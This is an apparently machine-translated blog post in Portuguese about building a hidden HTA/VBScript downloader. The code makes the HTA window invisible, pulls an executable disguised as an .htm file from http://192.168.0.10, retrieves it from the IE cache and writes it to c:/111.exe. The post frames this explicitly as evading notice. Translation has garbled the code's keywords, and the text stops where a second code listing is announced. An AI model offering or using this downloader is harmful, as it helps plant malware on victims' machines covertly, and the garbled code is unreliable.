1. Vamos falar sobre dois downloaders relativamente novos do VBS neste blog. Um é feito usando o componente cdo.Message e o outro é feito usando o Microsoft.xmldom. Consulte http://www.jb51.net/article/15506.htm. Um desses dois downloaders é problemático para usar e precisa converter o EXE com antecedência. Em segundo lugar, o cscript.exe acessará a rede durante o uso, que não está muito oculto. A segunda é que algumas máquinas não possuem esses dois componentes e usam Adodb.stream, portanto, existem algumas desvantagens.
2. Vamos falar sobre o downloader do lago2 http://blog.csdn.net/lake2/archive/2007/05/08/1600580.aspx. Este downloader é muito bom, mas há problemas. Uma é que, se outro navegador como 360 estiver instalado, uma janela do IE será aberta e o local do cache do IE lido do registro pode não ser preciso.
3. Então, como atualizamos esses defeitos? Ainda há uma maneira. Usamos o HTA para escrever isso, o que é relativamente raro. O HH.EXE geralmente será lançado ao acessar a rede. Quantas dificuldades devem ser resolvidas escrevendo este downloader:
(1). Make HTA Invisible ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
(2). Faça a linha de comando de receber HTA Parâmetros ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
(3). Não ligue para todos os componentes mencionados no primeiro e no segundo itens acima----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
(4) Localização temporária do cache .ie --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
(5) Nós não chamamos nenhum Componente ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
4. Código (escreva diretamente os parâmetros no HTA)
O código é o seguinte:
<idioma de script = vbs>
Window.moveto 4000,4000
Window.Resizeto 0,0 'Torne o HTA Invisible
set objshell = createObject ("wscript.shell") 'hta pode chamar diretamente o wscript.shell, mas não pode chamar o wscript.createObject ("wscript.shell")
DownPath = objshell.expandenvironmentstrings ("%userProfile%") e "Configurações locais" 'Obtenha o caminho de download de acordo com a variável do ambiente
Definir xml = document.createElement ("xml") 'O comportamento padrão da criação do elemento XML chama ie
xml.addbehavior ("#padrão#download")
xml.async = 0
xml.load ("http://192.168.0.10/xx.htm") ', altere o nome do exe para o espaço. Se você o enviar com o software FTP, ele pode não funcionar. É melhor apenas colocá -lo.
Showallfile (Path)
Sub ShowallFile (Path) 'Viagem e pesquisa, use diretamente o código do lago2
FindFilename = "XX [1] .htm" 'Isso também é o que você precisa alterar. Se o acima for xx.htm, aqui está xx [1] .htm
Set fso = createObject ("script.filesystemoBject")
Set f = fso.getFolder (caminho)
Definir fc = f.subFolders
Para cada F1 no FC
Se fso.FileExists (Path & "/" & f1.name & "/" & findFileName) então
FSO.CopyFile Path & "/" & f1.name & "/" & findFileName "," c: /111.exe "'salvar em c: /111.exe, e pode ser alterado conforme necessário
'Document.Write "[+] Download Success!"
Final se
Showallfile Path & "/" & f1.name
Próximo
Definir FSO = nada
Final sub
window.close
</script>
O uso é: coloque exe como xx.exe no espaço e clique duas vezes neste HTA.
5. Outro código (parâmetros da linha de comando de aprovação)
Pessoalmente, acho que o código na quarta parte é melhor, basta modificá -lo e usá -lo. Se os parâmetros da linha de comando forem chamados, descobri que a janela HTA ainda aparecerá e ela só fechará após o download, então isso não é muito bom. Código: